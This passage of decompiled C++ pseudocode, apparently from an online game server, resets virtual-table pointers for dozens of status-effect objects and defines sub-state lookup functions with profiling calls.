v1->asl_KQ_G_TBRAIDERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NOXSK2BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NOXSK2BLOODING.astr_Tick); v1->asl_NOXSK2BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_BOSSROBO2FEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_BOSSROBOFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GHOSTFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ARCHMAGEBOOKSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONECAPTAINATKSPD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQSKELKNIGHTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HUNGRYWOLFBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HUNGRYWOLFBLOODING.astr_Tick); v1->asl_HUNGRYWOLFBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GHKNIGHTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGCALLACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOKINGSTRRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOKINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROBOACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SKELKNIGHTBLOODING.astr_Tick); v1->asl_SKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NOXENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGSLIMEBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KINGSLIMEBLOODING.astr_Tick); v1->asl_KINGSLIMEBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARASTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_THUNDERBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FROSTNOVA.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CURSEMAGICCASTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHAINCASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DRAINMINDFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHAINLIGHTNINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEBLASTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RINGSHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DEEPER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLUR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LIGHTNINGBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LIGHTNINGBOLT.astr_Tick); v1->asl_LIGHTNINGBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STINGERUPTIONSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKSCREAMWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PIERCINGGUARD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PIERCINGGUARD.astr_Tick); v1->asl_PIERCINGGUARD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NATURECASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HAWKTALONATKSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRITFOG.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SPIRITFOG.astr_Tick); v1->asl_SPIRITFOG.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BITEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_POISONSHOT.astr_Tick); v1->asl_POISONSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRITTHORNENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BONEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BONEARROW.astr_Tick); v1->asl_BONEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FORESTWIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PURYIMPACTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PURYIMPACTSTUN.astr_Tick); v1->asl_PURYIMPACTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEFIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POLYMORPH.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MESMERIZE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DEADLYBLESSING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENTRAPHIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BUCKLER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REBIRTH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_VIOLENCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_VIOLENCE.astr_Tick); v1->asl_VIOLENCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DODGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HORRORFORCESTR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REVERSEORDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PANICFORCEMR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CROSSCASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SACRIFICE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINEWEAPONWCMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIVINESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MENTALSHOUTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HITPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_RESTORE.astr_Tick); v1->asl_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DARKNESSPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PSYCHICCHOPBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PSYCHICCHOPBLOOD.astr_Tick); v1->asl_PSYCHICCHOPBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PSYCHICBLUNTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SAFEPROTECTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLESSINGMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BREAK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKBLADESTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BERSEKERFRENZY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HARMDEFECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPEEDSHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MORALEDECREASEWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOUL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MIGHTYSOULMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BATTLEBLOWSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_REDSLASH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_REDSLASH.astr_Tick); v1->asl_REDSLASH.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SEVERBONE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 6318EC: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); // 631918: using guessed type int (*AbnormalStateContainer__AbnormalStateElementNormal___vftable_)(); // 6319F4: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); // 632054: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00404100) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(AbnormalStateContainer::AbnormalStatePartyEnchant *this, int sub, char *substate) { AbnormalStateContainer::AbnormalStatePartyEnchant *v3; // esi@1 int v4; // eax@1 char result; // al@2 int v6; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&unk_6BD318, substate); if ( v4 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 0; } else { v4 = (unsigned __int16)v4; if ( unk_6BC990 >= (unsigned int)(unsigned __int16)v4 ) { v6 = unk_6BC988 + 728 * v4; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v4); v6 = 0; } v3->aspe_SkillIndex[sub] = (AbnormalStateDictionary::AbState::AbStateStr *)v6; if ( v6 ) { v3->aspe_Soul[sub] = *(_DWORD *)(*(_DWORD *)v6 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState"); result = 0; } } return result; } //----- (00404240) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, char *substate) { AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *v2; // esi@1 int v3; // eax@1 char result; // al@2 int v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&unk_6BD318, substate); if ( v3 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 0; } else { v3 = (unsigned __int16)v3; if ( unk_6BC990 >= (unsigned int)(unsigned __int16)v3 ) { v5 = unk_6BC988 + 728 * v3; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); v5 = 0; } v2->asgame_SkillIndex = (AbnormalStateDictionary::AbState::AbStateStr *)v5; if ( v5 ) { v2->asgame_Soul = *(_DWORD *)(*(_DWORD *)v5 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState"); result = 0; } } return result; } //----- (00404380) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant(AbnormalStateContainer::AbnormalStateElement *this, #593 *me) { AbnormalStateContainer::AbnormalStateElement *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( me && *((_DWORD *)&abstateidentarray + 3 * v2->ase_index) ) (*(void (__stdcall **)(_DWORD))(**((_DWORD **)&abstateidentarray + 3 * v2->ase_index) + 36))(me); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 